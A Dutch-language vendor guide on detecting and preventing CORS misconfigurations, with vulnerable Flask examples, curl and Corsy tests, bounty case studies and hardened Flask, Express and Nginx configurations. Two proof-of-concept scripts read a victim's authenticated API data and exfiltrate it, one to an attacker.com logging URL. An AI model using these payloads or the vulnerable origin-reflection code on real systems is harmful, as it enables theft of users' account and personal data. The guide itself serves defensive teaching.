剣 KENSAI

CORS-misconfiguratiekwetsbaarheid: complete gids voor detectie en preventie

3 april 2026 18 min leestijd web-security-guide

CORS-misconfiguraties behoren tot de meest consistent beloonde kwetsbaarheden in bug bounty-programma's — en tot de meest onderschatte. Eén verkeerd geconfigureerde Access-Control-Allow-Origin-header kan elk geauthenticeerd API-eindpunt blootstellen aan door de aanvaller beheerde domeinen.

Wat is CORS en waarom is het belangrijk?

ℹ️ Het Same-Origin Policy

Standaard handhaven browsers het Same-Origin Policy (SOP): JavaScript die draait op attacker.com kan geen antwoorden lezen van bank.com. CORS is het mechanisme dat deze beperking versoepelt — en wanneer het verkeerd is geconfigureerd, kan het het SOP volledig ondermijnen.

Cross-Origin Resource Sharing (CORS) is een op HTTP-headers gebaseerd mechanisme waarmee een server aangeeft welke origins (domein + schema + poort) buiten de eigen origin toestemming hebben om zijn responses te lezen. Wanneer een browser een cross-origin-verzoek doet, handhaaft deze het CORS-beleid van de server.

De kritieke headers om te begrijpen:

⚠️ De gevaarlijke combinatie

De meest kritieke kwetsbaarheid ontstaat wanneer een server zowel Access-Control-Allow-Origin: [door aanvaller beheerd] ALS Access-Control-Allow-Credentials: true retourneert. Dit betekent dat aanvallers geauthenticeerde verzoeken kunnen doen vanaf hun eigen site en de responses kunnen lezen.

CORS-misconfiguratiepatronen

1. Wildcard met inloggegevens (onmogelijk volgens spec, vaak geprobeerd)

Browsers wijzen Access-Control-Allow-Origin: * gecombineerd met inloggegevens af. Ontwikkelaars proberen dit vaak en "fixen" het vervolgens door de origin dynamisch te reflecteren — wat een ergere kwetsbaarheid creëert.

2. Blind reflecteren van de Origin-header

# Vulnerable server-side logic (Python/Flask)
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # NEVER DO THIS
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Elke origin kan nu geauthenticeerde responses lezen. Dit is de meest voorkomende CORS-kwetsbaarheid gevonden in bug bounties.

3. Zwakke origin-validatie (substring-/regex-bypass)

# Vulnerable: checks if trusted domain appears ANYWHERE in origin
if 'trusted-bank.com' in request.headers.get('Origin', ''):
    # Bypass: attacker registers evil-trusted-bank.com or trusted-bank.com.evil.com
    allow_origin(origin)

4. Null-origin-vertrouwen

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

De null-origin kan worden getriggerd via sandboxed iframes, redirects en file://-URL's. Aanvallers kunnen pagina's samenstellen die verzoeken sturen met Origin: null.

5. Subdomein-wildcard zonder TLD-verankering

# Meant to allow *.company.com but also allows evil.company.com.attacker.com
if origin.endswith('.company.com'):
    allow_origin(origin)

6. Pre-flight cache-poisoning

Wanneer Access-Control-Max-Age is ingesteld, kunnen gecachte pre-flight-responses worden misbruikt als de origin-validatielogica verandert zonder cache-invalidatie.

Detectie: CORS-misconfiguraties vinden

Handmatige detectie met curl

# Test 1: Basic reflection check
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 2: Null origin
curl -s -I -H "Origin: null" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 3: Subdomain bypass
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 4: Pre-domain bypass
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

Geautomatiseerde detectie met Corsy

# Install and run Corsy
pip install corsy
python3 corsy.py -u https://target.com -t 10

# Scan a list of URLs
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

Detectie met Burp Suite

In Burp Suite Pro test de Active Scanner automatisch op CORS-misconfiguraties. Voor handmatig testen gebruikt u de CORS*-extensie uit de BApp Store. Stappen:

  1. Leg een verzoek vast met Burp Proxy
  2. Stuur naar Repeater
  3. Voeg de header Origin: https://evil.com toe
  4. Controleer of de response de origin reflecteert in Access-Control-Allow-Origin
  5. Controleer of Access-Control-Allow-Credentials: true ook aanwezig is

Waar u op moet letten in responses

ResponseErnstUitbuitbaar?
ACAO: *Laag-gemiddeldAlleen zonder inloggegevens
ACAO: [kwaadwillende origin] alleenGemiddeldZonder inloggegevens
ACAO: [kwaadwillende origin] + ACAC: trueKritiekJa — volledige diefstal van inloggegevens
ACAO: null + ACAC: trueHoogVia sandboxed iframe

Proof of Concept: CORS-misconfiguratie exploiteren

⚠️ Alleen voor educatieve doeleinden

De volgende PoC demonstreert de impact van CORS-misconfiguraties. Test alleen tegen applicaties die u bezit of waarvoor u expliciete schriftelijke toestemming heeft.

Basis-CORS-PoC (gevoelige data lezen)

<!-- Hosted on attacker.com -->
<script>
fetch('https://victim.com/api/account/profile', {
  credentials: 'include',  // Sends cookies
  mode: 'cors'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate to attacker's server
  fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blocked:', e));
</script>

Null-origin-PoC (sandboxed iframe)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="<script>
  fetch('https://victim.com/api/userdata', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>

<script>
window.addEventListener('message', e => {
  fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>

Subdomeinovername + CORS-koppeling

Als een vertrouwd subdomein (bijv. legacy.victim.com) beschikbaar is voor overname en de API *.victim.com vertrouwt, creëert het combineren van subdomeinovername met CORS een kritieke impactketen.

CORS-kwetsbaarheden uit de praktijk

Case study: grote e-commerceplatform ($12.500 bounty)

📋 Scenario

Een onderzoeker ontdekte dat het betalings-API-eindpunt /api/v2/payment-methods elke origin-header met inloggegevens reflecteerde. Door een kwaadaardige pagina te hosten op een lookalike-domein konden zij stilzwijgend de opgeslagen creditcardmetadata (laatste 4 cijfers, vervaldatum, factuuradres) en het accountsaldo van slachtoffers lezen wanneer het slachtoffer de pagina van de aanvaller bezocht.

Case study: gezondheidszorgportaal (kritiek)

⚠️ Patiëntgegevens in gevaar

Het patiëntenportaal van een zorgorganisatie accepteerde verzoeken van null-origins. De interne beheer-API gebruikte hetzelfde CORS-beleid als de patiëntgerichte API. Een sandboxed iframe van een aanvaller kon PHI (Protected Health Information) lezen uit geauthenticeerde sessies — een directe HIPAA-schending.

Opmerkelijke openbaargemaakte CORS-bugs

BedrijfKwetsbaarheidUitbetaling
ShopifyOrigin-reflectie in merchant-API$25.000
UberWildcard-subdomeinvertrouwen$3.000
YahooAcceptatie van null-origin$2.500
StarbucksPre-domein-bypass$4.000

Preventie: CORS-configuraties harden

Allowlist-gebaseerde origin-validatie (correcte aanpak)

# Python/Flask - Secure Implementation
ALLOWED_ORIGINS = {
    'https://app.company.com',
    'https://admin.company.com',
    'https://company.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'  # Critical for caching!
    return response
// Node.js/Express - Secure Implementation
const allowedOrigins = new Set([
  'https://app.company.com',
  'https://company.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Nginx CORS-configuratie

# nginx.conf - Secure CORS
map $http_origin $cors_origin {
    default "";
    "https://app.company.com" $http_origin;
    "https://company.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin) {
            add_header 'Access-Control-Allow-Origin' $cors_origin always;
            add_header 'Access-Control-Allow-Credentials' 'true' always;
            add_header 'Vary' 'Origin' always;
        }
        # Never use: add_header 'Access-Control-Allow-Origin' '*';
    }
}
CORS-beveiligingschecklist
  • ✅ Gebruik nooit een wildcard (*) met inloggegevens
  • ✅ Gebruik een expliciete allowlist — reflecteer nooit direct de Origin-header
  • ✅ Valideer de volledige origin (schema + domein + poort)
  • ✅ Vertrouw nooit de null-origin in productie
  • ✅ Voeg altijd de header Vary: Origin toe bij het dynamisch instellen van ACAO
  • ✅ Pas het principe van minimale rechten toe — stel alleen noodzakelijke eindpunten cross-origin bloot
  • ✅ Overweeg voor interne API's om CORS volledig uit te schakelen (niet nodig indien same-origin)
  • ✅ Test met Corsy of Burp Suite als onderdeel van CI/CD

CORS vs CSRF: het verschil begrijpen

ℹ️ Veelvoorkomende verwarring

CSRF misbruikt het automatisch versturen van cookies door de browser bij statusveranderende verzoeken (schrijfacties). De aanvaller hoeft de response niet te lezen. CORS-misconfiguraties stellen aanvallers in staat om cross-origin-responses te lezen. Beide vereisen dat het slachtoffer geauthenticeerd is. CORS beschermt NIET tegen CSRF — gebruik daarvoor CSRF-tokens.

CORS testen in uw CI/CD-pijplijn

# Add to your security pipeline (e.g., GitHub Actions)
- name: CORS Security Scan
  run: |
    # Test critical endpoints
    for endpoint in /api/user /api/account /api/payments; do
      response=$(curl -s -I \
        -H "Origin: https://evil-test-domain.com" \
        "https://${{ env.TARGET_URL }}$endpoint")
      
      if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
        echo "CORS MISCONFIGURATION DETECTED: $endpoint"
        exit 1
      fi
    done
    echo "CORS check passed"

Veelgestelde vragen

Is een CORS-misconfiguratie altijd kritiek?

De ernst hangt af van de combinatie van headers. Access-Control-Allow-Origin: * alleen (zonder inloggegevens) is laag-gemiddelde ernst. De kritieke gevallen betreffen zowel een willekeurige/gereflecteerde origin ALS Access-Control-Allow-Credentials: true — dit maakt volledige sessiekaping en gegevensdiefstal mogelijk.

Kunnen CORS-misconfiguraties worden uitgebuit zonder gebruikersinteractie?

CORS-exploits vereisen dat het slachtoffer de pagina van de aanvaller bezoekt met een actieve sessie op de doelsite. De exploit gebeurt stilzwijgend op de achtergrond — het slachtoffer merkt niets. Dit maakt ze bijzonder gevaarlijk in phishingscenario's.

Voorkomt HTTPS CORS-aanvallen?

Nee. CORS is een mechanisme dat het same-origin-beleid versoepelt en werkt ongeacht of HTTPS wordt gebruikt. Het schema (http versus https) maakt deel uit van de origin, maar het gebruik van HTTPS lost CORS-misconfiguraties niet op.

Hoe detecteert KENSAI CORS-misconfiguraties?

De actieve scanner van KENSAI test alle API-eindpunten met gewijzigde origin-headers, controlerend op gereflecteerde origins, acceptatie van null-origins, en de kritieke combinatie van gereflecteerde origins met ondersteuning voor inloggegevens. Bevindingen worden geprioriteerd op basis van daadwerkelijke uitbuitbaarheid, niet alleen de aanwezigheid van headers.

🛡️ Detecteer CORS-misconfiguraties automatisch

KENSAI scant continu op CORS-misconfiguraties, gereflecteerde origin-kwetsbaarheden en null-origin-vertrouwensproblemen over al uw API-eindpunten.

Start gratis scan →